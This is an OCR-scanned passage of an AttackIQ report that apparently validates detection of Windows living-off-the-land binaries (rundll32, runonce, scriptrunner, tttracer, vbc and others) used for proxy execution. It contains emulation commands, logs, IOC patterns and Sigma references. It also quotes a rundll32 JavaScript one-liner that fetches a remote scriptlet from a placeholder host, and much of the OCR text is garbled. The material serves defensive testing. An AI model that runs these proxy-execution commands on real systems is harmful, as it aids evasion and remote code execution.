
Copy a file using “replace.exe” Script

Description

This scenario will execute the following command:

replace.exe helloworld.exe $env:temp /A

The scenario will be marked as Not Prevented if the file exists en the temp folder.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/01/2023 05:16:07 pm 03/01/2023 05:16:10 pm
= Activity Details ~

M info A Waming @ Error F1 Advanced

M (83/01/2023 85:16:09 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\mzTue_3qeqinm\\replace.psi’, '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\nzTue_3qeqinm\\attackig-script-error-log-15958799-d208-4222-abe2-72d88f81c1b3. json' |

FI (93/01/2623 85:16:16 pm) Script output: "Executing replace.exe helloworld.exe C:\Users\ADMINI~1\AppData\Local\Temp /A

Adding C:\Users\ADMINI~1\AppData\Local\Temp\helloworld.exe

Successfully copied helloworld.exe file into the C:\Users\ADMINI~1\AppData\localiTemp directory.

Successfully removed C:\Users\ADMINI~1\AppData\lLocal\Temp\helloworld.exe

F1 (03/1/2023 05:16:16 pm) Script "replace.ps1” execution was successful

P (03/01/2023 05:16:10 pm) Successfully executed script "replace.ps1”

M (83/01/2023 ©5:16:18 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\mzTue_3geqinm\replace.ps1' to delete does not exist anymore.
P (03/01/2023 05:16:18 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\lLocal\Temp\mzTue_3qeqinm’ to delete does not exist anymore.

(Click for Larger)

Scenario I0Cs

[((process:command_line LIKE '%/a%' OR process:command_line LIKE '%-a%') AND process:binary_ref.name LIKE

'%\replace.exe')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

replace.exe

.. ‘M- ai_exec_server.exe 2876 2 Process Create  C:\Program Files\Attack IQ\Agent \AiRunCommandAsUser.exe SUCCESS PID: 6896, Command line: "...
.. B ARunCommandAsUser.exe 6896 ¢2Process Start SUCCESS Parent PID: 2876, Comman.
. W~ ARunCommandAsUser exe 6896 ¢2Process Create  C:\Program Files\Attack IQ\Agent \engine \py3\python .exe SUCCESS PID: 9260, Command line: "..
... Ppython.exe 9260 ¢2Process Stat SUCCESS Parent PID: 6896, Comman...
... Ppython.exe 9260 ¢®Process Create C:\WINDOW 5\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 9204, Command line: C...
... E¥powershell exe 9204 ¢2Process Start SUCCESS Parent PID: 9260, Comman...
.. EMpowershell exe 9204 ¢Process Create C:\WINDOW S\system32\replace exe SUCCESS PID: 6388, Command line: "...
¥-replace exe 6988 ¢2Process Start SUCCESS Parent PID: 9204, Comman

H-replace exe 6988 ¢2Process Exit SUCCESS Exit Status: 0, User Time:
EMpowershell exe 9204 <2 Process Exit SUCCESS Exit Status: 0, User Time:
.. Ppython.exe 9260 ¢ Process Exit SUCCESS Exit Status: 0. User Time: 2....
. EAiRunCommandMUser,exe 6896 c‘i‘Pmcess Exit SUCCESS Exit Status: 0, User Time: 0....
(Click for Larger)
Sigma Rules

Back to Top
Runonce.exe

Binary description

RunOnce.exe is a legitimate Windows executable file that is used to run programs or commands during the boot process of a
Windows system. Specifically, it is part of the Windows RunOnce registry key, which is designed to execute a set of

commands or applications once, usually during the next system boot.
TTPs and tactics

o Defense Evasion: System Binary Proxy Execution (T1218)

How do the adversaries use it?

An adversary could use the RunOnce registry key to execute a program or command in an attempt to evade defenses.
AttackIQ Scenarios

System Binary Proxy Execution using “runonce.exe” Script
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his scenario will create a new registry key in the HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components key.

The key will contain the following subkeys:

e ‘@’: “attackiq_created”
e ‘StubPath’: “$pwd\AIQ_file_creator.exe”

Where $pwd will point to the scenario’s current working directory.

If the scenario is able to create the keys, it will then execute the following command:

runonce.exe /AlternateShellStartup

The binary AIQ_file_creator.exe will create a file in the temp directory.

The scenario will verify if the file exists and mark the scenario as not prevented. The scenario will be marked as prevented if

the file does not exist.

Scenario IOCs

[((process:binary_ref.name LIKE '%\runonce.exe') AND (process:command_line LIKE '%/AlternateShellStartup%' OR

process:command_line LIKE '%/r'))]

[((((windows-registry-key:values[].data NOT LIKE '"C:\Program Files (x86)\Microsoft\Edge\Application\\%"' AND
windows-registry-key:values[].data NOT LIKE '"C:\Program Files\Microsoft\Edge\Application\\%') OR windows-

registry-key:values[].data NOT LIKE '%\Installer\setup.exe" --configure-user-settings --verbose-logging --
system-level --msedge --channel=stable') AND (windows-registry-key:values[].data NOT LIKE '"C:\Program

Files\Google\Chrome\Application\\%' OR windows-registry-key:values[*].data NOT LIKE '%\Installer\chrmstp.exe" -

-configure-user-settings --verbose-logging --system-level%')) AND (windows-registry-key:key LIKE '%\StubPath'
AND windows-registry-key:key LIKE 'HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components%'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

runonce.exe

-2 W ai_exec_serverexe
iRunCommandAsUser exe
§- AiRunCommandAsUser exe
:2... Ppython exe
. Ppython exe
. E¥powershell exe
EM powershel exe
. ﬁmnunce exe
. dqunonce exe
: 8- aiq_file_creator exe
. W+ aiq_file_creator exe
. nunonce exe
:3... EMpowershell exe
Poython exe
... - AiRunCommandAsUser exe

(Click for Larger)

Sigma Rules

2876 <2 Process Create
6232 «2Process Start
6232 <2 Process Create
7800 <2 Process Start
7800 < Process Create
6412 «2Process Start
6412 <2 Process Create
9464 <2 Process Statt
9464 «2Process Create
9492 <2 Process Start
9492 <2 Process Ext
9464 <2 Process Ext
6412 <2 Process Exit
7800 <2 Process Ext
6232 <2 Process Exit

C'\Pm;rarn FlIes\RtacldO\A;em\PaRunCommandM User exe
C:\Program Files\Attack|Q\Agent\engine\py3\python exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe
C:AWINDOWS\system32\unonce.exe

C:\Users\administrator\AppData‘\Local\Temp\ePyaf 7albfklz\aiq_file_creator exe

Back to Top
Rundll32.exe

Binary description
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SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

PID: 6232, Command line: "...
Parent PID: 2876, Comman...
PID: 7800. Command line: "...
Parent PID: 6232, Comman..
PID: 6412, Command line: C..
Parent PID: 7800, Comman..
PID: 8464, Command line: "...
Parent PID: 6412, Comman..
PID: 9492, Command line: "...
Parent PID: 9464, Comman.
Exit Status: 0. User Time: 0...
Exit Status: 0. User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: 0. User Time: 2....
Exit Status: 0, User Time: 0....
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rundll32.exe is a system process in Microsoft Windows operating systems that is responsible for executing 32-bit dynamic
link library (DLL) files.

TTPs and tactics

How do the adversaries use it?
Adversaries may abuse rundll32.exe to proxy execution of malicious code.

RundlI32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to
this: rundl132.exe
javascript:"..\mshtml, RunHTMLApplication";document.write();GetObject("script:https[:]//www[.]Jexample[.]com/malicious.sct"

behavior has been seen used by malware such as Poweliks.

AttackIQ Scenarios

System Binary Proxy Execution using “rundll32.exe” Script

Description

This scenario will execute the following command:

rundl132.exe javascript:"\..\mshtml.dll,RunHTMLApplication

";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"aigq_binary_file_creation.exe\");window.close()");
The binary aiq_binary_file_creation.exe will create a file in the C:\Users\Public directory.

The scenario will verify if the file exists and mark the scenario as not prevented. If the file does not exist, the scenario will

be marked as prevented.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/03/2023 02:54:18 pm 03/03/2023 02:54:26 pm
i= Activity Details ~
M Info Warning @ Error F1 Advanced
™ (03/03/2023 ©2:54:19 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\Qg9Srwd8j7oqx\\rund1132.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\Qg9Srwd8j7oqx\\attackiq-script-error-log-ecbb28dc-e391-48b8-91fd-4415bf677df7.json’ |

FI (93/63/2023 82:54:26 pm) Script output: "Executing rund1132.exe javascript:”\..\mshtml.d1l,RunHTMLApplication ";eval("w=new%2@ActiveXObject(\"WScript.Shell\");w.run(\"AIQ_file_creator.exe
\") ;window.close()")

Waiting 5 seconds prior to verify success

File C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File Output_86961518.txt exists. The scenario will be marked as Not Prevented.

Removing C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

Sucessfully removed C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

FI (03/03/2023 €2:54:26 pm) Script "rund1132.ps1" execution was successful

P (03/03/2023 €2:54:26 pm) Successfully executed script 'rundl132.ps1”

P (03/03/2623 €2:54:33 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\Qg9Srwd8j7oqx\rundl132.ps1’ to delete does not exist anymore.
M (03/83/2023 82:54:33 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\lLocal\Temp\Qg9Srwd8j7oqx' to delete does not exist anymore.

(Click for Larger),
Scenario I0OCs

[(process:command_line LIKE '%RunHTMLApplication%' AND process:command_line LIKE '%\..\\%' AND

process:command_line LIKE '%mshtml%')]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

cmd.exe — rundll32.exe - aiq_file_creator.exe

Page 44 of 50


https://attack.mitre.org/tactics/TA0005
https://attack.mitre.org/techniques/T1218
https://attack.mitre.org/techniques/T1218/011/
https://attack.mitre.org/techniques/T1218
https://attack.mitre.org/techniques/T1218/011/
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230307-151948.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230307-151948.png
https://www.attackiq.com/wp-content/uploads/2023/03/image-20230307-151948.png

B- ai_exec_server.exe
AiRunCommandAsUser.exe
. W ARunCommandAsUser exe
... I®python.exe

. Ppython.exe
. EMpowershell exe
. EMpowershell exe
. Edcmd.exe
jcmd exe
rundll32 exe

aiq_file_creator exe
. E¥powershell.exe
:2... ®python.exe
.. - AiRunCommandAsUser exe

(Click for Larger)

Sigma Rules

e /rules/windows/process creation/proc creation win rundll32 mshtml runhtmlapplication.yml

Back to Top

Scriptrunner.exe

Binary description
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2876 ¢ Process Create
10816 <2 Process Start
10816 &2 Process Create

5428 <2 Process Start

5428 ¢2Process Create

9596 <2 Process Start

9596 ¢ Process Create

1788 <2 Process Start

1788 ¢ Process Create
11072 <2 Process Start
11072 &2 Process Create
10852 <2 Process Start
11072 <2 Process Exit

1788 <2 Process Exit
10852 ¢ Process Bxit

9596 ¢ Process Exit

5428 <2 Process Bxtt
10816 <2 Process Extt

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
C:\Users\administrator\App Data\Local\ Temp\Qg9Srwd§ 7oqx\aiq_file_creator.exe SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

C:\Program Files\Attack |Q\Agent\AiRunCommandAsUser exe
C:\Program Files\Attack |Q\Agent\engine'\py3\python exe
C:AWINDOWS\System32\WindowsPowerShel'\v1.0\powershell exe
C:AWINDOWS\system32\cmd .exe

CAWINDOWS\system32\rundll32.exe

PID: 10816, Command line: ...
Parent PID: 2876, Comman...
PID: 5428, Command line: "..

Parent PID: 10816, Comma...
PID: 9596, Command line: C...
Parent PID: 5428, Comman...

PID: 1788, Command line: ...
Parent PID: 9596, Comman...
PID: 11072, Command line: ...
Parent PID: 1788, Comman...
PID: 10852, Command line: ...
Parent PID: 11072, Comma...

Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 0...

Exit Status: 0, User Time: 0....
Exit Status: 0, User Time: 0...

Exit Status: 0. User Time: 2....
Exit Status: 0, User Time: 0....

Scriptrunner.exe is a legitimate executable that is part of the Microsoft Windows operating system. It is used for executing

scripts written in VBScript or JScript languages.

TTPs and tactics

How do the adversaries use it?

Adversaries could use scriptrunner to proxy execute malicious binaries using the -appvscript parameter.

AttackIQ Scenarios

System Binary Proxy Execution using “scriptrunner.exe” Script

Description

This scenario will execute the following command:

ScriptRunner.exe -appvscript AIQ_file_creator.exe

The binary AIQ_file_creator.exe will create a file in the TEMP directory.

The scenario will verify if the file exists and mark the scenario as not prevented. If the file does not exist, the scenario will

be marked as prevented.

Execution
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Name Critical Phase Prevention Detection Alerted Start Time End Time

v Generic Script Execution Critical Not Prevented Not Detected 03/02/2023 04:19:21 pm 03/02/2023 04:19:28 pm
= Activity Details ~
M info A Waming @ Error F1 Advanced
M (03/62/2023 ©4:19:22 pm) Command to be executed: C: em32\ Wi hell\v1.0\powershell ["-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp

\\Dd11wg8qe__xq\\scriptrunner.ps1’,

‘-ErrorLogFile’,

FI (93/62/2023 04:19:28 pm) Script output: "Executing ScriptRunner.exe -appvscript AIQ_file_creator.exe

Script filename is AIQ_file_creator.exe

Script arguments are
Wait is False
Timeout is -1
Rollback is False

Number of scripts to run: 1
Script is AIQ_file_creator.exe

Wait is False
RollbackOnError is False

(Click for Larger)

Scenario IOCs

'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\Dd11wq8qe__xq\\attackig-script-error-log-339e6fb3-2d5a-4329-8e9b-4c18a56bbe65. json' |

[((process:binary_ref.name LIKE '%\ScriptRunner.exe') AND process:command_line LIKE '% -appvscript %')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

scriptrunner.exe

7:17:3... W ai_exec_serverexe
AiRunCommandAsUser.exe
AiRunCommandAsUser exe

7:174... E¥powershell exe
7:17:4... EMpowershell .exe
- ScriptRunner exe
§- ScriptRunner.exe
aiq_file_creator exe
ScriptRunner.exe
17:4... W aiq_file_creator.exe
7:17:4... EMpowershell exe

. . Ppython exe
. W AiRunCommandAsUser exe

(Click for Larger)

Sigma Rules

2876 ¢ Process Create
2340 B Process Start
2340 < Process Create
10068 <2 Process Start
10068 <2 Process Create
5664 <2 Process Start
5664 <2 Process Create
5448 «2Process Start
5448 ¢ Process Create
1728 <2 Process Start
5448 ¢2Process Exit
1728 2 Process Exit
5664 2 Process Exit
10068 <2 Process Exit
2340 <2 Process Exit

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
C:\Users\administrator\App Data\Local\Temp\pRB2iza_h7n3h\aiq_file_creator.exe SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

C:\Program Files\AttackIQ\Agent\AiRunCommandAsUser exe
C:\Program Files\AttackIQ\Agent\engine \py3\python.exe
C:AWINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe

C:\WINDOWS\system32\Script Runner exe

Back to Top

Ttdinject.exe

Binary description

PID: 2340, Command line: "...
Parent PID: 2876, Comman...
PID: 10068, Command line: ..
Parent PID: 2340, Comman...
PID: 5664, Command line: C...
Parent PID: 10068, Comma...
PID: 5448, Command line: ...
Parent PID: 5664, Comman...
PID: 1728, Command line: "...
Parent PID: 5448, Comman...
Exit Status: 0. User Time: 0...
- 0, User Time: 0..
Exit Status: 999, User Time: ..

Exit S!alus; 0. User Time: 0

Ttdinject.ext is a legitimate Windows executable file that is used by ttracer.exe to Windbg Time Travel Debugging.

TTPs and tactics

How do the adversaries use it?

Adversaries may use it to proxy execute a malicious file.

AttackIQ Scenarios

System Binary Proxy Execution using “ttdinject.exe” Script
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Description

This scenario will execute the following command:
TTDInject.exe /ClientParams "17 aiq_ttdinject.run @ @ @ @ 6 @ 0 @ 0 0" /Launch "AIQ_file_creator.exe"
The binary AIQ_file_creator.exe will create a file in the temp directory.

The scenario will verify if the file exists and mark the scenario as not prevented. If the file does not exist, the scenario will

be marked as prevented.

This scenario requires admin privileges.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected 03/02/2023 04:48:05 pm 03/02/2023 04:48:12 pm
= Activity Details ~
M info A\ Warning @ Error F2 Advanced
m~ (03/62/2023 84:48:86 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['—ExecutwnPolmy‘ , 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\KckRM_rdtsnau\\ttdinject.ps1', '-ErrorLogFile', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\KckRM_rdtsnau\\attackiq-script-error-log-6a59272b-d9@8-481b-b7c3-957efa19e344.json"]

[ (93/62/2023 04:48:12 pm) Script output: "Executing TTDInject.exe /ClientParams "17 aiq_ttdinject.run 8 8 6 © © 6 8 8 8 8" /Launch "AIQ_file_creator.exe”
Microsoft (R) TTDInject 1.61.66

Release: 10.6.19641.1741

Copyright (C) Microsoft Corporation. All rights reserved.

Allocated processors:55, running threads:1.
Loader TTDLoader.dll injected at @x@0@07FFF59620000 ©x70608 -- .reload TTDLoader.d11=0x@0@87FFF59620000,0x7600

Injection by thread is complete.
RecordingEngine initialization successful.

RecordVcpu initialization successful.

(Click for Larger)
Scenario IOCs

[(process:binary_ref.name LIKE '%ttdinject.exe')]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

ttdinject.exe — aiq_file_creator.exe

EXEC_Server.exe 2876 <BProcess Create  C:\Program Files\AttacklQ\Agent\AiRunCommandAsUser exe SUCCESS PID: 3540, Command line: "...
RunCommandAsUser exe 3540 < Process Start SUCCESS Parent PID: 2876, Comman...

- AiRunCommandAslUser.exe 3540 <2Process Create C:\Program Files\AttackIQ\Agent\engine'\py 3‘\python.exe SUCCESS PID: 10032, Command line: ...

¥ python exe 10032 <2 Process Start SUCCESS Parent PID: 3540, Comman...

-48:0... Ppython.exe 10032 ¢ Process Create C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 9224, Command line: C...
7:48:0... E¥powershell exe 9224 B Process Start SUCCESS Parent PID: 10032, Comma...
7:48:0... E¥powershell exe 9224 ®Process Create C:\WINDOWS\system32\ttdinject exe SUCCESS PID: 2388, Command line: ..
B idinject exe 2388 <2Process Start SUCCESS Parent PID: 9224, Comman...
ttdinject exe 2388 <2Process Create  C:\Users\administrator\App Data'\Local\Temp\Kck RM_rdtsnau\AIQ_file_creator.... SUCCESS PID: 1996, Command line: A...
AlQ_file_creator.exe 1996 <2 Process Start SUCCESS Parent PID: 2388, Comman...

ttdinject exe 2388 B Process Exit SUCCESS Exit Status: 0. User Time: 0....

48 - AlQ_file_creator exe 1996 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0...
7:48:1... EMpowershell exe 9224 2 Process Exit SUCCESS User Time: 0....

B . python exe 10032 < Process Exit SUCCESS - 0, User Time: 2

3540 <2 Process Exit SUCCESS 0. User Time: 0....

B+ AiRunCommandAsUser.exe

(Click for Larger)

Sigma Rules

o /rules/windows/process creation/proc creation win lolbin ttdinject.yml

Back to Top
Tttracer.exe

Binary description
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Ttdinject.ext is a legitimate Windows executable file that is used to Windbg Time Travel Debugging.
TTPs and tactics

o Defense Evasion: System Binary Proxy Execution (T1218)

How do the adversaries use it?
Adversaries may use it to proxy execute a malicious file.

AttackIQ Scenarios

System Binary Proxy Execution using “tttracer.exe” Script

Description

This scenario will execute the following command:
tttracer.exe "AIQ file_creator.exe"
The binary AIQ_file_creator.exe will create a file in the temp directory.

The scenario will verify if the file exists and mark the scenario as not prevented. If the file does not exist, the scenario will

be marked as prevented.

This scenario requires admin privileges.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 03/02/2023 05:02:27 pm 03/02/2023 05:02:36 pm
= Activity Details ~

™ Info Warning @ Error [ Advanced

P (03/02/2023 ©5:02:28 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowershell\vi.@\powershell.exe ['-ExecutionPolicy’, 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\CSJ7D3q2ztge_\\tttracer.ps1’, '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\CSJ7D3q2ztgc_\\attackiq-script-error-log 5 4901-ae1b-ef .json’]
FI (3/62/2623 85:02:36 pm) Script output: "Executing tttracer.exe AIQ_file_creator.exe
Launching 'AIQ_file_creator.exe’
AIQ_file_creator.exe(x64) (PID:9752): Process exited with exit code 8 after 78ms
Full trace dumped to C:\Users\administrator\AppData\Local\Temp\CSJ7D3q2ztgc_\AIQ_file_creator®l.run

Waiting 5 seconds

File C:\Users\adninistrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt exists. The scenario will be marked as Not Prevented.
Removing C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

Sucessfully removed C:\Users\administrator\AppData\Local\Temp\AIQ_File_Creation_Dir\AIQ_Created_File_Output_86961518.txt

Removing AIQ_file_creatordl.out

Removi i ator@1.run

(Click for Larger)
Scenario IOCs

[process:parent_ref.binary_ref.name LIKE '%\tttracer.exe']
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

tttracer.exe — aiq_file_creator.exe
in addition, ttdinject.exe is also being called:

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

tttracer.exe — ttdinject.exe
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. W ai_exec_serverexe 2876 2 Process Create C:\Program Files\AttacklQ\Agent‘AiRunCommandAsUser.exe SUCCESS PID: 7948, Command line: "...
AiRunCommandAsUser.exe 7948 2 Process Start SUCCESS Parent PID: 2876, Comman...

‘W AiRunCommandAsUser exe 7948 ¢ Process Create (C:\Program Files\AttackIQ\Agent\engine\py3\python exe SUCCESS PID: 3448, Command line: "...
:2... Ppython exe 3448 2 Process Start SUCCESS Parent PID: 7348, Comman...
-2... Ppython exe 3448 ¢®Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 5208, Command line: C...
. EMpowershell exe 5208 <2 Process Start SUCCESS Parent PID: 3448, Comman.
. EMpowershell exe 5208 <®Process Create C:\WINDOWS\system32\tttracer.exe SUCCESS PID: 7192. Command line: "...
w 7192 <2 Process Start SUCCESS Parent PID: 5208, Comman...
7192 ¢ Process Create  C:\Users\administrator\App Data\Local\Temp\C5J7D3a2ztgc_\AIQ_file_creator.... SUCCESS PID: 9752, Command line: A...
9752 <2 Process Start SUCCESS Parent PID: 7192, Comman..
7192 <2Process Create  C:\WINDOWS \system32\TTDlInject exe SUCCESS PID: 8304, Command line: C...
8904 <2 Process Start SUCCESS Parent PID: 7192, Comman...
8904 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
AlQ_file_creator.exe 9752 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0.

¥- titracer.exe 7192 <2 Process Ext SUCCESS Exit Status: 0, User Time: 0....
. E¥powershell exe 5208 <©Process Exit SUCCESS Exit Status: 0, User Time: 0....
PP oython exe 3448 <2 Process Ext SUCCESS Exit Status: 0, User Time: 2...
. - ARunCommandAsUser.exe 7948 2 Process Ext SUCCESS Exit Status: 0, User Time: 0....

(Click for Larger),
Sigma Rules

 /rules/windows/process creation/proc creation win lolbin tttracer mod load.yml

Back to Top
Vbc.exe

Binary description

VBC.exe is a file that is associated with the Visual Basic .NET compiler, which is part of the Microsoft .NET Framework.
VBC stands for “Visual Basic Compiler.”

TTPs and tactics

e Defense Evasion: Obfuscated Files or Information: Compile After Delivery (T1027.004)

How do the adversaries use it?

An attacker can deliver a source code file containing the malicious code to the target system and then use vbc.exe to compile
the code into an executable file. By compiling the code on the target system, the attacker can avoid detection by security

software that may have signatures or behavioral patterns for known malicious executables.

The use of vbc.exe in this context requires that the attacker has already gained access to the target system and has the
necessary permissions to execute the compiler. Once the code is compiled, the attacker can execute it to achieve their

malicious goals, such as stealing sensitive data or taking control of the compromised system.
AttackIQ Scenarios

Compile After Delivery using “vbc.exe” Script

Description

This scenario will execute the following command:
vbc.exe /target:exe aiq_vb_code.vb
The content of the aiq_vb_code.vb is:

Imports System.IO

Module Program

Sub Main()

Console.WritelLine("AttackIQ compiled visual basic program has been spawned.")
End Sub

End Module
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After compiling the binary, the scenario will execute the compiled file and search for the message in the stdout.

The scenario will be marked as Not Prevented if the message “AttacklQ compiled visual basic program has been spawned”

is present in the stdout of the compiled binary execution.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected 03/02/2023 05:10:48 pm 03/02/2023 05:10:54 pm

i= Activity Details

M info A Warning @ Error 1 Advanced

™ (93/62/2623 05:10:56 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.8\powershell.exe ['-ExecutionPolicy', 'bypass’', '-File', 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp
\\CQN18ror@vtak\\vbc.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\CQN18ror@vtak\\attackiq-script-error-log-79ald83a-8050-4151-ab93-56120273e624. json’

F1 (93/02/2623 85:10:54 pm) Script output: 'Executing C:\WINDOWS\Microsoft.NET\Framework\v4.0.38319\vbc.exe /target:exe aiq_vb_code.vb

Microsoft (R) Visual Basic Compiler version 14.8.4084

for Visual Basic 2012

Copyright (c) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to Visual Basic 2012, which is no longer the latest version. For compilers that
support newer versions of the Visual Basic programming language, see http://go.microsoft.com/fwlink/?LinkID=533241

Executing aiq_vb_code.exe

AttackIQ compiled visual basic program has been spawned.
Successfully deleted the file aiq_vb_code.exe.

B (00100 0007 AE10-E4 am) Pandinn aammand anbait €74 fan bank matbacn

(Click for Larger)

Scenario I0Cs

[(process:binary_ref.name LIKE '%\cvtres.exe' AND process:parent_ref.binary_ref.name LIKE '%\vbc.exe')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

vbc.exe — cvtres.exe

ai_exec_serverexe 2876 ¢ Process Create  C:\Program Files\AttacklQ\Agent\AiRunCommandAsUser.exe SUCCESS PID: 1560, Command line: "...
RunCommandAsUser.exe 1560 <2 Process Start SUCCESS Parent PID: 2876, Comman...
AiRunCommandAsUser exe 1560 ¢©Process Create  C:\Program Files\Attack|Q\Agent\engine'\py3\python exe SUCCESS PID: 2520, Command line: ...

. ®python exe 2520 2 Process Start SUCCESS Parent PID: 1560, Comman..
. python exe 2520 B Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 9456, Command line: C..
.. E¥powershell exe 9456 2 Process Start SUCCESS Parent PID: 2520, Comman...
. E¥powershell exe 9456 <2 Process Create  C:\WINDOWS\Microsoft. NET\Framework \v4.0.30319\vbc exe SUCCESS PID: 8500. Command line: "...
B- vbe exe 8500 ¢ Process Start SUCCESS Parent PID: 9456, Comman...
vbe exe 8500 ¢ Process Create C:\Windows\Microsoft. NET\Framework \v4.0.30319\cvires.exe SUCCESS PID: 2648, Command line: C..
cvires exe 2648 ¢ Process Start SUCCESS Parent PID: 8500, Comman...

cvires exe 2648 ¢ Process Extt SUCCESS Exit Status: 0, User Time

¥ vbc exe 8500 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 0....
E¥ powershell exe 9456 ¢2Process Create C:\Users\ADMINI~1\AppData\Local\Temp\CQN18orlvtak\aiq_vb_code.exe ~ SUCCESS PID: 6580, Command line: "...
iq_vb_code exe 6580 <2 Process Start SUCCESS Parent PID: 9456, Comman...
. - aig_vb_code exe 6580 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 0....
:5... EMpowershell.exe 9456 2 Process Exit SUCCESS Bxit Status: 0, User Time: 0....
PPpython exe 2520 2 Process Exit SUCCESS Exit Status: 0. User Time: 2...

AiRunCommandAsUser.exe

(Click for Larger)

Sigma Rules

Back to Top

Source: https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/

1560 <2 Process Extt
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Exit St: 0. User Time: 0....
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